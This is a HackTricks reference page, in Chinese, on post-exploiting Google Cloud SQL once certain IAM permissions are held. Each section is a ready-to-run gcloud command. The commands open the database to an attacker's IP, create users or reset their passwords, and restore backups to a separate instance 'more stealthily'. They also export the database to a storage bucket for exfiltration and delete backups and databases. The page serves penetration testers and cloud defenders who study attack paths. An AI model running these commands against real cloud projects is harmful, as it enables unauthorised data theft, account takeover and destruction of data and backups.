GCP - Cloud SQL Post Exploitation

支持 HackTricks

云 SQL

有关云 SQL 的更多信息,请查看:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

要连接到数据库,您只需要访问数据库端口并知道用户名和密码,没有任何 IAM 要求。因此,一个简单的方法是更新允许的网络并允许您自己的 IP 地址访问,假设数据库具有公共 IP 地址。

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

也可以使用**--no-backup破坏数据库的备份**。

由于这些是要求,我不完全确定**cloudsql.instances.connectcloudsql.instances.login**权限的具体用途。如果您知道,请发送一个PR!

cloudsql.users.list

获取数据库的所有用户列表

gcloud sql users list --instance <intance-name>

cloudsql.users.create

此权限允许数据库内创建新用户

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

此权限允许更新数据库中的用户。例如,您可以更改其密码:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

备份可能包含旧的敏感信息,因此检查它们是很有趣的。 在数据库中恢复备份

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

为了更隐蔽地进行操作,建议创建一个新的 SQL 实例,并在那里恢复数据,而不是在当前运行的数据库中进行操作。

cloudsql.backupRuns.delete

此权限允许删除备份:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

将数据库导出到一个 Cloud Storage 存储桶,这样你就可以从那里访问它:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

从 Cloud Storage 存储桶导入数据库(覆盖):

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

从数据库实例中删除一个数据库:

gcloud sql databases delete <db-name> --instance <instance-id>
支持 HackTricks

Last updated